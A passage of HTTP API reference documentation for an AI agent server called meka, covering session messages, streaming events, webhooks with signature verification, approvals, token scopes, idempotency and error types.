Only a pending item can be withdrawn. DELETE on one that is already in the conversation answers 409 inbox-appended, since only a turn can answer it now; a delivered or withdrawn one is 404. A DELETE that lands in the instant between a turn reading the item and writing it may still be read by the model. Canceling a turn the inbox opened, with POST /cancel, withdraws the items it opened on, the way a canceled client turn loses its prompt, and the feed reports each as inbox.withdrawn. The endpoint refuses a sub-agent’s session exactly as POST /turn does: a worker’s inbox is its parent’s, written with the agent_steer tool. No images in this release.
Image attachments
Each entry in images is {"media_type": "...", "data": "<base64>"}. Images are inlined rather
than referenced by path because the API is a network surface: a client on another host shares no
filesystem with the agent, so it can’t name a file for the agent to read.
curl -s -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"message\": \"what does this diagram show?\",
\"images\": [{\"media_type\": \"image/png\", \"data\": \"$(base64 -w0 diagram.png)\"}]}"
- Requires vision. Attaching an image to a session whose profile has
vision = falsereturns422. The check is per session, from the profile that session recorded, so a session created withprofileor moved by aPATCHfollows that profile rather than the server default.visiononGET /v1/inforeports the process default profile’s flag, which answers for a session created without naming one. media_typeis a hint. If it doesn’t name a supported format, the payload’s magic bytes are used instead, soapplication/octet-streamstill works for a real image.- Formats. PNG, JPEG, GIF, WebP, and BMP pass through; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS,
and Farbfeld are converted to PNG. Anything else is a
422. - Size. Each image is capped at 3.75 MB decoded (~5 MB of base64). Note this interacts with
max_body_bytes: the 10 MiB default comfortably fits one image, but a multi-image turn may need it raised. - Errors name the offender. A bad attachment returns
422with a detail like`images[1]` is invalid: unsupported image format.
Detecting a rewritten history
GET /messages returns the materialized view: what the model can currently see. Five things rewrite it rather than appending to it (compaction, POST /rewind, a mid-turn repair of a malformed request, the redaction of an image that no longer fit the request size budget, and the withdrawal of a prompt whose turn produced nothing, for a recurring job or a turn sent with options.unanswered_message set to withdraw), and after any of them your copy is no longer a prefix of the server’s.
Two signals cover this:
revisionon the response increments on every rewrite. If it changed since your last poll, re-fetch rather than diff. This is the one to key on, because it covers all five causes.compactionon a message identifies a summary and says how many messages it replaced and which compaction it was. Only compaction leaves a message behind to carry it; a rewind removes messages with nothing in their place, which is whyrevisionexists.
total alone is not enough: a shrinking total is indistinguishable from the server losing your conversation.
Note that neither GET /context nor GET /v1/sessions/{id}/tools will load an evicted session. Reading is not permitted to take the session’s cross-process lock, which a write would hold for idle_timeout. /context answers from the store with the live counters omitted; /tools returns 409, since a catalog needs a loaded session.
Messages
Read the conversation history for a session:
GET /v1/sessions/{id}/messages?offset=0&limit=50
Returns messages with role, content blocks, timestamps and turn correlation ids, beside total
(the length of the whole conversation, not the page) and revision. limit defaults to 200 and is
capped at 1000; offset defaults to 0.
A user message carries what the user typed as a text block. Ahead of it, when meka added one,
sits a turn_context block: the permission and environment context, todo list, catalog changes,
background outcomes and resume notice meka injected for that turn, which the model saw as text ahead
of the words. It is typed so a client can show or hide it; the text blocks alone are the words.
An image block, whether an attachment on a user message or a tool result, carries its media_type
and the hash of its bytes rather than the bytes. GET /v1/sessions/{id}/blobs/{hash} returns them
under that media type, and only for a session whose messages reference the hash. An image the
request budget redacted to fit the profile’s max_request_bytes reads as a text block saying so:
the redaction is recorded on the conversation once, so what the model was last sent is what the
history shows.
Compaction, rewind and export
POST /v1/sessions/{id}/compact summarizes the conversation now. The body is optional:
| Field | Type | Default | Description |
|---|---|---|---|
instructions | string | (none) | Guidance on what to keep or drop, as /compact <instructions> in the REPL |
keep_recent | bool | (meka decides) | Whether to keep the most recent turns verbatim after the summary |
The response carries source (checkpoint, checkpoint_text or summarizer) and
memories_written, the memories the checkpoint turn wrote.
POST /v1/sessions/{id}/rewind drops trailing turns. The body is optional:
| Field | Type | Default | Description |
|---|---|---|---|
turns | integer | 1 | How many trailing turns to drop. At least 1, and no more than the conversation holds, or the request is a 422 |
The response carries turns_removed, messages_before and messages_after.
GET /v1/sessions/{id}/export?format= returns the transcript: markdown (the default) as
text/markdown, or json as the archive POST /v1/sessions/import and meka session import
accept.
Blocking response
With stream: false (the default), the server holds the connection until the turn completes, then returns a single JSON response:
{
"turn_id": "t_01J...",
"session_id": "s_01J...",
"stop_reason": "end_turn",
"final_text": "Here are the files in src/: ...",
"messages": [
{
"role": "assistant",
"content": [{"type": "text", "text": "..."}]
}
],
"tool_calls": [
{
"id": "tu_1",
"name": "read_file",
"input": {"path": "src/main.rs"},
"display_summary": "src/main.rs",
"is_error": false,
"content": [{"type": "text", "text": "..."}]
}
],
"usage": {
"input_tokens": 12340,
"output_tokens": 567,
"cache_creation_input_tokens": 0,
"cache_read_input_tokens": 8000
},
"notices": []
}
Key fields:
final_text: concatenated assistant text. This is what most bots display to the user.messages: structured message array for clients that want richer rendering.tool_calls: every tool the agent called during the turn, with inputs and outputs.stop_reason:end_turn,max_tokens, orrefusal.notices: provider advisories and warnings about approvals refused without asking.refusal_text: present only whenstop_reasonis"refusal".
Streaming response
Every resident session has one event feed. Everything a turn emits goes on it, whoever started the turn: a POST /turn, a scheduled fire, a background outcome, an inbox item. POST /turn with stream: true answers with a view of that feed scoped to the one turn it started, as text/event-stream, and closes after the turn’s terminal. GET /v1/sessions/{id}/stream is the feed itself, across turns; see The session feed. Every event has a monotonic id, a named event type, and a JSON data payload, and every payload carries turn_id and session_id, so a client holding several feeds can file an event without per-connection state.
Event types
Lifecycle
| Event | Payload | When |
|---|---|---|
turn.started | turn_id, session_id, started_at, source ("client", "inbox" with item_ids, "schedule" with job_id, or "background") | Turn begins |
turn.finished | turn_id, session_id, stop_reason, usage, optional refusal_text | Turn completed successfully |
turn.failed | turn_id, session_id, error (Problem Detail shape), message_withdrawn when the turn began | Turn failed mid-stream |
turn.canceled | turn_id, session_id, reason ("client", "server_shutdown", or "sse_lag" when the only consumer fell behind and the turn was stopped for it), message_withdrawn when the turn began | Turn was canceled |
turn.finished, turn.failed, and turn.canceled are terminal for the turn: a POST /turn stream closes immediately after its own, and the feed carries on to the next turn. turn.failed and turn.canceled also carry message_withdrawn when the turn began, whether it took the message it was sent back out of the conversation; see Resending a failed turn.
Inbox
| Event | Payload | When |
|---|---|---|
inbox.delivered | item_ids, turn_id, session_id | The provider accepted a request carrying these items, so the model has read them |
inbox.failed | item_id, session_id, reason | meka gave up on the item after the retry ceiling and withdrew it |
inbox.withdrawn | item_id, session_id | A client withdrew the item with DELETE, or the turn it opened was canceled; turn_id names the turn in flight at the time, if any |
inbox.delivered arrives inside the turn that read the item, before that turn’s terminal: for a steer read at a round boundary, after the tool_call.completed of that round; for an interrupt that cut the answer, after the notice announcing the cut. See The inbox.
Content deltas
| Event | Payload | When |
|---|---|---|
assistant_text.delta | text | Each chunk of assistant text |
thinking.delta | text | A chunk of extended thinking content (only when supports_reasoning_stream: true) |
Reasoning streams in chunks, one event per chunk, the way assistant_text.delta does; concatenate them to reassemble the block. A turn the provider answered without streaming sends the block as a single delta, so a client never has to tell the two apart. The blocking response (stream: false) reports each block whole, as a thinking content block in messages, and only when the session has supports_reasoning_stream on.
Tool execution
| Event | Payload | When |
|---|---|---|
tool_call.composing | id, name | The model started writing the call’s arguments |
tool_call.executing | id, name, input, display_summary | Tool call starts |
tool_call.completed | id, is_error, content | Tool call finishes |
progress | server_name, tool_name, tool_use_id, progress, total, message | An MCP tool reported progress while running |
tool_call.output_delta | id, chunk | A running execute_command produced output; append chunk to what you show for the call |
subagent.activity | id, summary | A sub-agent under the agent_spawn call id started a tool call; summary is its rolling activity block and replaces the previous one |
progress relays an MCP server’s notifications/progress for a call that is still running: progress is the server’s counter, total its target when it gave one, message its text, and tool_use_id the tool_call.executing the update belongs to. The three optional fields are omitted when the server did not send them. Only MCP tools report progress; a built-in’s next sign of life is its tool_call.completed, except execute_command, whose output streams as tool_call.output_delta.
tool_call.output_delta and subagent.activity are progress rather than history, and the feed treats them so: they carry no id, are never replayed after a reconnect, and never displace the events a Last-Event-ID resumption depends on. Command output is coalesced to about one event per 150 ms per call, whatever is left is flushed just ahead of the call’s tool_call.completed, and that event still carries the whole output. The activity block holds the sub-agent’s last 20 tool calls. A command run with background: true is not streamed: its call returns at once with a task id, and its output arrives with the task’s outcome.
The arguments are written between tool_call.composing and tool_call.executing on the same id, which makes that interval the only thing on the stream that separates the agent writing a message from the agent doing anything else. Assistant text is usually narration around a call rather than the reply itself, and by tool_call.executing the arguments are already finished. A client drawing a typing indicator for a tool like an MCP send_message raises it on the first and drops it on the second. The payload is the id and the name because nothing else has streamed yet: which conversation a message is for is not known until tool_call.executing.
Three limits. The event exists only when meka streams from its provider, so a server started with --no-stream receives each call whole and emits tool_call.executing with nothing before it. The pairing is not guaranteed, because a turn that fails or is canceled mid-call emits tool_call.composing with nothing after it, so close per-id state on the terminal event as well. And the interval is only wide on backends that stream a call as it is written (anthropic-messages, claude-subscription, openai-responses, chatgpt-subscription); openai-chat-completions resolves each call’s name and arguments together when the stream ends, so there the two events arrive back to back.
Notices and pauses
| Event | Payload | When |
|---|---|---|
notice | level, text | Provider advisories or warnings |
permission_required | request_id, tool_name, input, expires_in_seconds | Permission approval needed (approvals on, call above the level) |
Context
| Event | Payload | When |
|---|---|---|
context.compacted | source, replaced_count, generation | The conversation was summarized and the window replaced |
context.compacted is the one event on this stream that is not additive. Everything else appends, so a client that misses one still holds a prefix of the truth; a compaction removes messages the client has already rendered. source is checkpoint, checkpoint_text, or summarizer (they differ in fidelity, not just mechanism), replaced_count is how many messages the boundary removed from the view (the whole pre-compaction window, including the tail compaction re-appends verbatim), and generation counts compactions from 1.
The same information appears on GET /messages: the summary message carries a compaction object with replaced_count and generation, and every other message omits the field. Without it a polling client sees total shrink with no explanation, which is indistinguishable from the server losing the conversation.
Heartbeats
A : keep-alive comment is sent every 20 seconds. SSE clients ignore these automatically. The stream also sends retry: 3000 as its first line, hinting clients to reconnect after 3 seconds on disconnect.
SSE lag
The server buffers up to 256 events per SSE stream. If a consumer reads too slowly and falls behind, the server closes that consumer’s stream, and what it sends first depends on whether anyone else was still reading:
- Nobody else was reading. The turn is canceled to stop burning provider tokens, and the stream ends with a terminal
turn.failedcarrying error typehttps://meka.so/errors/sse-lag. That event is the stream’s, sent before the turn has unwound, so it carries nomessage_withdrawn; the outcome recorded for a later re-attach is aturn.canceledwithreason: "sse_lag"and does. Retry by submitting a new turn. - Another consumer was keeping up. The turn keeps running for them, so nothing has failed. The lagging stream ends with a
warnnoticeexplaining the drop (the usuallevelandtext, plusturn_idandsession_id) and closes. Re-attach withLast-Event-IDrather than retrying: the turn is still in flight, so a new turn would be refused with409 turn-in-flight, and re-attaching recovers the dropped events instead of redoing the work.
Turn events are broadcast, so a re-attached client or a second consumer counts as a separate reader. Use GET /messages to inspect what the agent completed either way. A reader of the session feed that falls behind gets the notice and keeps its connection; a turn is never canceled for a feed reader, because the turn was not run for it.
The session feed
GET /v1/sessions/{id}/stream is the session’s feed: every event of every turn, across turns, for as long as the connection is held. It is how a client sees the turns nobody asked for over HTTP, a scheduled job firing at three in the morning or a background task reporting back, and it is where a client that submits through the inbox learns what became of its items. Subscribe once, and file events by the turn_id they carry. Loading the session is part of opening the feed, so a bridge can subscribe before it has anything to submit, and a reconnect to an evicted session gets its feed back rather than a 404.
Send the last id you received as a Last-Event-ID header (browser EventSource does this automatically) or as a ?last_event_id= query parameter, and the server replays what you missed before following the live feed.
Add ?attend=true to say that this reader shows approval prompts and answers them. It needs sessions:w, and while at least one attending reader is connected a gated call on any turn parks as permission_required instead of being refused without asking; when the last one disconnects, a parked prompt is canceled. See Approvals. A reader that attends also counts as a renderer of reasoning deltas, so on a session with supports_reasoning_stream its turns lose their retry the way a streaming client’s do.
curl -N -H "Authorization: Bearer $TOKEN" \
-H "Last-Event-ID: 42" \
"http://localhost:8080/v1/sessions/$SESSION/stream"
Ids run across the whole session and the ring spans turns, so an id from an earlier turn is an ordinary position: everything after it replays, the later turns’ terminals included. When a turn is in flight as you attach, the feed opens with a turn.started carrying "resumed": true and the turn_id you joined, which is how to tell “my stream resumed” from “a newer turn started while I was away”; that event is synthesized rather than replayed, so it carries no id: and no started_at, but it names the turn’s source (with its item_ids or job_id), and everything after it is the real thing. With no turn in flight there is nothing to re-issue, and the most recent turn’s terminal is handed over when the ring no longer holds it, so a client that reconnects late still learns the outcome.
The feed does not end with a turn. A client that wants one turn’s outcome stops reading at that turn’s terminal. The old contract, a stream that closed after the turn it rejoined, is what POST /turn with stream: true still gives.
Three limits, all deliberate:
- The replay buffer is bounded by
[serve] stream_replay_events(default 256). If yourLast-Event-IDis older than the oldest retained event, you get anoticesaying the replay has a hole rather than a transcript that silently skips. ReadGET /messagesto fill it. - Only the most recent turn’s terminal is retained past the ring. Everything else a late client needs is in
GET /messages. - A turn opened by
POST /turnwithstream: trueis not canceled immediately when its client disconnects. It keeps running for[serve] stream_reattach_grace(default 30s) waiting for the client to come back; after that the agent loop stops, since nobody is listening. Set"0s"to restore the older behavior where a dropped stream cancels the turn at once. The rule is only for turns a streaming client opened: a turn the server started for a fire, an outcome or an inbox item runs for the session and is never stopped for want of a reader.
A session with a live feed subscriber is not idle, so the idle sweep leaves it resident. Opening the feed loads the session if it was not, exactly as submitting a turn does, so a sessions:r token can bring one into memory and keep it there, and the route answers 409 session-locked and 422 session-not-drivable where POST /turn would.
Webhooks
meka serve can POST to configured endpoints when something happens that no client is necessarily waiting on: a scheduled job firing overnight, a background task finishing long after the turn that started it.
[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}" # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired", "inbox.delivered", "inbox.failed"]
timeout = "10s" # per attempt, default 10s; "0s" is refused at startup
max_retries = 3 # after the first attempt, default 3, at most 10
events is required and every name must be recognized: an endpoint whose only subscription is a typo would be silently never called, so an unknown event is a startup error rather than a warning.
turn.finished and turn.failed cover turns submitted through POST /turn. A scheduled job’s turn fires schedule.fired (which carries its own status) instead, so no turn produces two deliveries. A turn the server runs purely to report a background outcome fires neither: the news is the task’s, and task.finished has already carried it.
task.finished is not a turn event. It fires when a background task reaches a terminal state, whether or not any turn reports it: a canceled task fires it with no turn at all, and its outcome then rides whichever turn the session takes next. Expect it alongside a turn.finished when a client’s own POST /turn is what carries the outcome, and expect it on its own for a task interrupted by a host that died, which no turn ever ran.
inbox.delivered and inbox.failed are the inbox’s two outcomes: the model read an item, or meka gave up on it. A turn the server runs on inbox items posts turn.finished or turn.failed like a client’s, since nothing else carries it.
A client that wants to know about everything the agent did should subscribe to all six.
Payloads
Every delivery carries delivery_id, event, timestamp, and event-specific identifiers:
{
"delivery_id": "6c1f...",
"event": "schedule.fired",
"timestamp": "2026-02-01T03:00:00Z",
"job_id": "9f2c...",
"session_id": "550e8400-e29b-41d4-a716-446655440000",
"status": "completed"
}
A schedule.fired status is completed, failed, or canceled when the turn was stopped before it finished, as happens when the server drains during it.
Payloads never carry message content. A webhook URL is a string in a config file: it can be mistyped, it can outlive whatever owned it, and anything that learns it can reach it. So a delivery tells you what happened to which session, and you fetch the conversation with your own bearer token over the API you already authenticate against. A compromised endpoint learns that a session was active, not what was said in it.
Verifying a delivery
When secret is set, each request carries X-Meka-Signature: sha256=<hex>, an HMAC-SHA256 over <timestamp>.<body> keyed with the secret. The timestamp is inside the signed material, so a captured delivery cannot be replayed forever: reject anything whose X-Meka-Timestamp is too old and the window closes.
Each attempt carries its own timestamp and signature. A retry can land minutes after the first attempt, so re-sending the original stamp would have it rejected by that very window. Deduplicate on X-Meka-Delivery, which stays constant across a delivery’s attempts.
import hmac, hashlib
def verify(secret: str, timestamp: str, body: bytes, signature: str) -> bool:
expected = "sha256=" + hmac.new(
secret.encode(), timestamp.encode() + b"." + body, hashlib.sha256
).hexdigest()
return hmac.compare_digest(expected, signature)
Deliveries also carry X-Meka-Event, X-Meka-Delivery (unique per delivery, for deduplicating retries), and X-Meka-Timestamp.
X-Meka-Timestamp and the body’s timestamp field differ on a retry, deliberately. The header is when this attempt was sent, re-stamped each time, because that is what your replay window is checking; a retry carrying the original time would be rejected as stale by the very check the header exists for. The body’s field is when the event happened and stays fixed across attempts, so ordering and deduplication see one event rather than several.
Omitting secret is allowed for loopback receivers and logs a startup warning; no signature header is sent, rather than one computed over an empty key.
Delivery semantics
Deliveries are notifications, not a durable queue. They are not persisted, not retried across a restart, and outstanding attempts are abandoned when the process exits: a delivery in flight during a SIGTERM is lost. That is the trade for never blocking the work that triggered it. Anything you cannot afford to miss should be reconciled by polling (GET /v1/schedule, GET /v1/sessions/{id}/tasks), with the webhook as the fast path rather than the only one.
Delivery is fire-and-forget on a detached task, so a slow or dead receiver never wedges the scheduler behind it. A 5xx or a transport error is retried with exponential backoff (1s, 2s, 4s, capped at 30s) up to max_retries. A 4xx is not, since retrying cannot fix a request the receiver considers malformed, with two exceptions: 429 Too Many Requests and 408 Request Timeout say “not now” rather than “not ever” and are retried like a 5xx. That matters because several jobs sharing a cron minute deliver as a burst, which is exactly when a receiver rate-limits. Retry-After is not honored; the backoff above is used regardless. After the last attempt meka logs one warn and gives up. Turn cancellations are not delivered: the client that canceled already knows.
Permission levels over HTTP
The same four permission levels apply: none, read, workspace, unrestricted. Set the level at session creation or update it via PATCH /v1/sessions/{id}; approvals sits beside it on both, and {"approvals": true} in a PATCH body turns it on for a live session.
Both apply during a turn: the next tool call is checked against the new level and the new switch, as the REPL’s Shift+Tab and ACP’s session/set_mode do, so dropping a running session to read is a brake and not a request to stop. cwd and profile wait for the turn to end, and a body naming either answers 409 turn-in-flight meanwhile.
Approvals
With approvals: true, a tool call above the session’s level parks as a permission_required SSE event whenever someone is there to answer it: the client of a POST /turn with stream: true, or a feed reader that opened GET /v1/sessions/{id}/stream?attend=true (which needs sessions:w, the scope that answers). Any turn qualifies, an inbox turn, a scheduled fire or a background outcome included, so a UI that submits through the inbox and watches the feed is asked like a streaming client is. With nobody attending, the call is refused without asking and a notice says so. The stream stays open while waiting. Your client resolves it by POSTing to the responses endpoint:
POST /v1/sessions/{id}/responses/{request_id}
Content-Type: application/json
{"outcome": "allow"}
Possible outcomes:
| Outcome | Effect |
|---|---|
allow | Run this tool call |
deny | Refuse this tool call |
allow_always | Allow this and all future calls to this tool (session-scoped) |
deny_always | Deny this and all future calls to this tool (session-scoped) |
input is every argument the call was made with, and a prompt should show it: tool_name alone asks you to approve a write without showing what is written. If no response arrives within 30 minutes the request is denied; expires_in_seconds on the event carries that figure, and it is the same backstop an ACP client’s prompt gets. When the last client that could answer disconnects, the request is canceled at once rather than left to that timeout. An approved call still runs at the session’s level: approval never widens reach, so an approved write at read lands only under the session’s cwd.
Approvals with blocking turns
When stream: false and approvals are on, and no feed reader is attending, there is no channel for permission prompts. Every call that would need approval is refused without asking; each refused tool appends a notice to the response saying so and pointing at stream: true and attend=true.
MCP elicitations (interactive form prompts from MCP servers) are always auto-declined over HTTP; there is no channel for interactive input. A notice event is emitted when this happens.
Recommendation: non-interactive callers (bots, bridges, scripts) should leave approvals off and create sessions at the level they need, so nothing is refused without asking. Use stream: true, or attend the feed, with approvals on if you need approval flow.
Authentication
Every request requires Authorization: Bearer <token>, except the two health probes and, when [serve].docs is enabled, /v1/openapi.json and /v1/docs. Both of those are off by default, so on a default deployment they answer 404 rather than serving anything unauthenticated. A 401 carries WWW-Authenticate: Bearer realm="meka", as RFC 9110 requires. A browser’s CORS preflight is the one other exception, and only where cors_allowed_origins is set.
Scopes
Each token carries a set of scopes that control what it can access:
| Scope | Permits |
|---|---|
sessions:r | List sessions, get details, read messages, context occupancy, export, tools, background tasks, the inbox, the session feed |
sessions:w | Create, modify, delete sessions; submit and cancel turns; enqueue and withdraw inbox items; compact, rewind, import; respond to permission prompts; cancel background tasks |
skills:r | Read installed skills, including bodies |
skills:w | Create, update, delete skills |
memory:r | Read the memory store |
memory:w | Create, update, delete memories |
schedule:r | List scheduled jobs. GET /v1/schedule is server-wide and returns each job’s full prompt, so this reads instruction text and not just schedules. A gate’s check is withheld unless the token also holds sessions:r |
schedule:w | Create and cancel scheduled jobs. A job’s prompt runs a full turn with tools, so this is deferred turn execution, not just bookkeeping. A job’s optional gate runs a shell command or a read-only tool call and additionally requires sessions:w (see below) |
mcp:r | Read MCP server status and advertised tools |
mcp:w | Reconnect an MCP server |
Discovery endpoints (/v1/info, /v1/skills, /v1/mcp, /v1/profiles) accept any token with at least one read scope. Two deliberately do not: GET /v1/skills/{name} needs skills:r and GET /v1/instructions needs sessions:r, because both return instruction text rather than a listing.
Scopes are flat: memory:r does not imply memory:w, and neither implies the other. Operations on a conversation stay under sessions:*, because the thing being read or changed is one session. The process-wide stores carry their own scopes so a bridge token that runs turns cannot also empty the memory store or plant an unattended scheduled job.
An unrecognized scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.
Note:
[skills] agent_managedand[memory] enabledgovern what the model may do on its own initiative. They do not gate these endpoints. A token is the operator acting remotely, equivalent to runningmeka skill addin a shell, so askills:wtoken writes skills even whenagent_managed = false.
Token configuration
Tokens are configured under [[serve.tokens]] in your config. Three forms are supported:
# Inline plaintext, development only (a startup warning is logged)
[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]
# Environment variable substitution, recommended for CI/containers
[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
# File-based, recommended for production (chmod 0600)
[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Token comparison uses constant-time equality to prevent timing side-channel attacks. Tokens never appear in logs; only a truncated SHA-256 fingerprint is used for diagnostics.
Browser clients
A web application served from another origin, a static site or a development server, calls the API directly from the browser once [serve].cors_allowed_origins lists its origin, or *. The reference page covers the setting; this is what the grant covers.
- Preflights need no token. The browser’s
OPTIONSrequest is answered ahead of authentication and runs nothing: it loads no session, takes no lock and enqueues nothing. The real request that follows needs the same bearer token and scopes as ever. - Request headers.
Authorization,Content-Type,Idempotency-KeyandLast-Event-IDare granted by name, on top of the headers a browser may always send.Authorizationhas to be named because a wildcard grant never covers it. - Methods.
GET,HEAD,POST,PUT,PATCHandDELETE. A method a route does not implement is still a405. - Response headers.
Retry-AfterandWWW-Authenticateare exposed to page script. Errors carry the grant like successes do, so a401, a403, a413or a429is a Problem Detail the page can read rather than an opaque failure. - No cookies.
Access-Control-Allow-Credentialsis never sent. Send the bearer header on every request and usecredentials: "omit". - Streams. The feed and a streaming turn are granted like any other response and are not buffered. A native
EventSourcecannot send a header, so read SSE withfetchand a streaming parser, and sendLast-Event-IDyourself on a reconnect. Fetch an image or an export the same way and hand the bytes to an object URL.
CORS is the browser’s policy on sharing a response, not authorization: an allowed origin still needs a token, and a refused origin only stops the page from reading the answer. It does not make an endpoint reachable, provide TLS, or bypass a browser’s local-network permission; a remote deployment is exposed through HTTPS as before. Set the policy in one place: a reverse proxy that adds CORS headers of its own on top of meka’s gives the browser two grants, and it refuses both.
Idempotency
Blocking turn submissions (stream: false) support Stripe-style idempotency via the Idempotency-Key header:
curl -X POST http://localhost:8080/v1/sessions/$ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: 7f8a9b0c-1234-5678-abcd-ef0123456789" \
-d '{"message": "deploy to staging"}'
If the same key is replayed, the server returns the cached response. If the same key is sent with a different body, it returns 409 Conflict. A key must be non-empty ASCII of at most 255 characters; anything else is a 422 invalid-body. While a request carrying a key is still running, a second request with the same key answers 409 idempotency rather than waiting; retry it once the first completes.
Keys are scoped per-token and per-session, and expire after 24 hours. The session is part of the scope because an Idempotency-Key names your unit of work: sending the same key to two sessions is a reasonable thing to do, and it now runs both turns instead of answering the second with the first’s transcript.
A turn that was canceled is not cached, so the retry the cancellation invites can actually run. Neither is a 5xx, for the same reason. Either retry re-executes the turn, and unless the turn was sent with options.unanswered_message set to withdraw it runs above the message the failed one left behind; see Resending a failed turn.
The cache is bounded per token by both entry count and total bytes; a response too large to keep is not cached, and its retry re-executes.
Idempotency keys are ignored for streaming responses; streaming clients should reconnect by submitting a new turn.
Which endpoints are safe to retry
Idempotency-Key covers blocking turns only. For everything else, know what a blind retry does before you configure one:
| Endpoint | Retry-safe | On a duplicate |
|---|---|---|
POST /turn (blocking, with a key) | yes | cached response returned |
POST /v1/sessions/{id}/inbox (with a key) | yes | the earlier item is answered, replayed: true; the key is on the row, so this holds across a restart |
POST /cancel, DELETE /v1/sessions/{id}, DELETE /v1/sessions/{id}/tasks/{task_id}, DELETE /v1/sessions/{id}/inbox/{item_id} | yes | already-done is the same state; a withdrawn item answers 404 on the retry |
DELETE /v1/skills/{name}, /v1/memory/{name}, /v1/schedule/{job_id} | yes, but | the resource is gone, so the retry answers 404. Expected, not a failure; treat it as success if you are retrying blind |
PUT /v1/skills/{name}, PUT /v1/memory/{name} | yes | same body writes the same skill file or memory row |
POST /compact | mostly | a second compaction summarizes the summary; fidelity drops, nothing is lost |
POST /rewind | no | drops another turn. A client that retries on a connection error loses conversation |
POST /sessions/import | no | creates a second copy of the tree under new ids |
POST /sessions/{id}/schedule | no | creates a second job |
The three marked no are administrative operations meant to be driven deliberately. If your HTTP stack retries failed POSTs by default, exclude them, or check the outcome first: POST /rewind returns messages_before and messages_after, and GET /messages returns a revision that increments on every rewrite.
Error handling
All HTTP error responses use RFC 9457 Problem Details with Content-Type: application/problem+json:
{
"type": "https://meka.so/errors/session-not-found",
"title": "Session not found",
"status": 404,
"detail": "session '2f0c9b6e-4d1a-4c0e-9b7f-3a5d8e1c2b4f' not found",
"instance": "/v1/sessions/s_xyz/turn"
}
The type URI is the stable, machine-readable error code. Route error handling on type, not on status or detail.
A parse failure names the field. A body that does not parse is a
422invalid-bodywhosedetailreadsinvalid <endpoint> request body: <what the parser found>, naming the field at fault: an unknown one, a missing one, or one of the wrong type. Every request type denies unknown fields, so a typo is refused rather than ignored. The names it cites are the wire schema, which the OpenAPI spec defines; nothing internal is in them. Validation that runs after parsing, such as a profile that is not configured or acwdthat does not exist, names the field the same way.A
502on a turn carries the provider’s own response text in aprovider_responsemember when[serve] relay_provider_errorsis on, which is the default; a deployment that has turned it off omits the member entirely. It exists because the upstream’s error type is the actionable part and a client that cannot see it is left guessing.detailstays meka’s own sentence either way, so nothing is traded for it, and the relayed text is capped at 4 KiB with the cut marked. The full text goes to the server log regardless.
provider_responseis readable atsessions:r. Submitting a turn takessessions:w, but the failure also rides the terminalturn.failedevent, whichGET /v1/sessions/{id}/streamreplays to any reader. Since an upstream refusal can name the operator’s account with the provider and its rate-limit posture, set[serve] relay_provider_errors = falsewhere read-only tokens go to people who may watch a session but are not entitled to the account behind it.A turn that failed or was canceled after it began carries
message_withdrawn, whether the message it was sent is still in the conversation. It istrueonly for a turn sent withoptions.unanswered_messageset towithdrawthat ended before anything from the model reached the conversation. A turn refused before it began, such as the503for a required MCP server, never added the message and carries no such member; see Resending a failed turn.The
503a turn gets when a required MCP server is down is not covered by that key and never relays: the server names travel, the connector’s reason does not, since it is meka’s own subprocess text and has carried a command line and its path. The endpoints under/v1/mcpdo relay their reason, since a caller naming one server and asking why it will not connect is asking for it.An installation fault is a
500, not a422. A[web]client meka cannot build from itsproxyorca_cert_file, or abase_urlshape a backend refuses, is the operator’s to fix and names a path or an endpoint out of theirconfig.toml; the body says only “internal server error; consult server logs” and the sentence goes to the log. The common case does not reach a request at all: the web client is built at startup, so a server with a bad[web]block fails to start rather than answering turns.
Error types
| Type | Status | Meaning |
|---|---|---|
/errors/auth | 401 | Missing or invalid bearer token |
/errors/auth-scope | 403 | Token lacks the required scope |
/errors/session-permission | 403 | The token is fine; the session sits too low. Raise it with PATCH /v1/sessions/{id}; a better token will not help |
/errors/session-not-found | 404 | Unknown session id |
/errors/not-found | 404 | Unknown skill, memory, MCP server, background task, scheduled job, image blob, or inbox item; also a skill or memory store that is disabled, or a server with [schedule] enabled = false, since there is nowhere to write |
/errors/session-not-loaded | 409 | The session exists but is not in memory; submit a turn to load it. Do not retry POST /cancel: there is no turn to cancel |
/errors/session-locked | 409 | Another meka process holds the session’s lock (e.g. two meka serve instances sharing one store); wait or restart the other process |
/errors/turn-in-flight | 409 | A turn is already running on this session within this process; cancel it via POST /cancel first |
/errors/turn-canceled | 409 | Turn was canceled |
/errors/turn-mismatch | 409 | POST /cancel named a turn that is not the one in flight; the turn_id member names the one that is. Nothing was canceled |
/errors/inbox-appended | 409 | The inbox item is already in the conversation, so only a turn can answer it now; nothing to withdraw |
/errors/store-read-only | 409 | The skill lives under a [skills] extra_paths root; meka reads those but never writes to them, so writing here would shadow the file rather than change it |
/errors/session-not-drivable | 422 | The id names a sub-agent’s conversation, which only its parent drives. Reading it is unaffected; the message names the parent and what to do there: agent_followup for a turn or a fork, POST /v1/sessions/{parent}/responses/{request_id} for an approval, and the parent itself for a scheduled job. Do not retry with a corrected payload: no body addressed at this id is accepted |
/errors/request-not-found | 404 | Unknown or expired request_id |
/errors/idempotency | 409/429 | Key conflict (body mismatch: 409; cache cap: 429) |
/errors/invalid-body | 400/422 | Request body validation failed (422), or a path/query parameter the router rejected (400) |
/errors/request-too-large | 422 | meka refused to send the turn: the conversation is still over the profile’s max_request_bytes after redacting older tool-result images. meka’s own ceiling, so no provider judged it and no provider_response rides along; detail names the size, the limit and the remedy, /compact. Do not retry unchanged: POST /compact first |
/errors/payload-too-large | 413 | Body exceeds max_body_bytes, meka’s limit on the HTTP request itself. Unrelated to request-too-large, which is about what meka may send onward |
/errors/concurrency-limit | 429 | Process-wide turn limit reached (Retry-After header included) |
